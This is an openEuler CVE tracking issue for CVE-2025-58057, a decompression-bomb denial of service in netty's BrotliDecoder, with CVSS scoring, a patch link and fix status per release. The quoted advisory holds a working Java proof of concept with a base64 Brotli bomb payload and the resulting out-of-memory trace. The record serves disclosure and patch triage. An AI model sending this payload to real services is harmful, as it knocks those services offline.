CVE-2025-58057

一、漏洞信息
 漏洞编号：[CVE-2025-58057](https://nvd.nist.gov/vuln/detail/CVE-2025-58057)
 漏洞归属组件：[netty](https://gitee.com/src-openeuler/netty)
 漏洞归属的版本：4.1.114,4.1.13
 CVSS V3.0分值：
  BaseScore：7.5 High
  Vector：CVSS：3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
 漏洞简述：
  ### SummaryWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.### Details`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.Tested on 4.1.118, but there were no changes to the decoder since.### PoCRun this test case with `-Xmx1G`:```javaimport io.netty.buffer.Unpooled;import io.netty.channel.embedded.EmbeddedChannel;import java.util.Base64;public class T {    public static void main(String[] args) {        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode( aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA= )));    }}```Error:```Exception in thread  main  java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)	at java.base/java.nio.Bits.reserveMemory(Bits.java:178)	at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)	at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)	at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)	at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)	at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)	at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)	at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)	at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)	at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)	at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)	at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)	at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)	at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)	at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)	at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)	at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)	at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)	at io.netty.handler.codec.compression.T.main(T.java:11)```### ImpactDoS for anyone using `BrotliDecoder` on untrusted input.
 漏洞公开时间：2025-09-04 18:42:32
 漏洞创建时间：2025-09-04 01:40:46
 漏洞详情参考链接：
  https://nvd.nist.gov/vuln/detail/CVE-2025-58057
<details>
<summary>更多参考(点击展开)</summary>

无
</details>

漏洞分析指导链接：
  https://gitee.com/openeuler/cve-manager/blob/master/cve-vulner-manager/doc/md/manual.md
 漏洞数据来源:
  其他
 漏洞补丁信息：
  <details>
<summary>详情(点击展开)</summary>

| 影响的包 | 修复版本 | 修复补丁 | 问题引入补丁 | 来源  |
| ------- | -------- | ------- | -------- | --------- |
| netty/netty |  | https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d.patch |  | ljqc |

</details>

二、漏洞分析结构反馈
 影响性分析说明：
  Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.
 openEuler评分：
  7.5
 Vector：CVSS：3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
 受影响版本排查(受影响/不受影响)：
  1.master(4.1.126):受影响
2.openEuler-20.03-LTS-SP4(4.1.13):受影响
3.openEuler-22.03-LTS-SP3(4.1.13):受影响
4.openEuler-22.03-LTS-SP4(4.1.13):受影响
5.openEuler-24.03-LTS(4.1.13):受影响
6.openEuler-24.03-LTS-Next(4.1.13):受影响
7.openEuler-24.03-LTS-SP1(4.1.13):受影响
8.openEuler-24.03-LTS-SP2(4.1.13):受影响

修复是否涉及abi变化(是/否)：
  1.master(4.1.126):否
2.openEuler-20.03-LTS-SP4(4.1.13):否
3.openEuler-22.03-LTS-SP3(4.1.13):否
4.openEuler-22.03-LTS-SP4(4.1.13):否
5.openEuler-24.03-LTS(4.1.13):否
6.openEuler-24.03-LTS-Next(4.1.13):否
7.openEuler-24.03-LTS-SP1(4.1.13):否
8.openEuler-24.03-LTS-SP2(4.1.13):否

原因说明：
  1.master(4.1.126):正常修复
2.openEuler-20.03-LTS-SP4(4.1.13):暂不修复-待升级版本修复
3.openEuler-22.03-LTS-SP3(4.1.13):暂不修复-待升级版本修复
4.openEuler-22.03-LTS-SP4(4.1.13):暂不修复-待升级版本修复
5.openEuler-24.03-LTS(4.1.13):暂不修复-待升级版本修复
6.openEuler-24.03-LTS-Next(4.1.13):暂不修复-待升级版本修复
7.openEuler-24.03-LTS-SP1(4.1.13):暂不修复-待升级版本修复
8.openEuler-24.03-LTS-SP2(4.1.13):暂不修复-待升级版本修复

src-openEuler/netty
Closed

Content Risk Flag

Comments (9)

src-openEuler/nettyClosed .gitee-modal { width: 500px !important; }

Content Risk Flag

CVE-2025-58057

Comments (9)

Search

src-openEuler/netty
Closed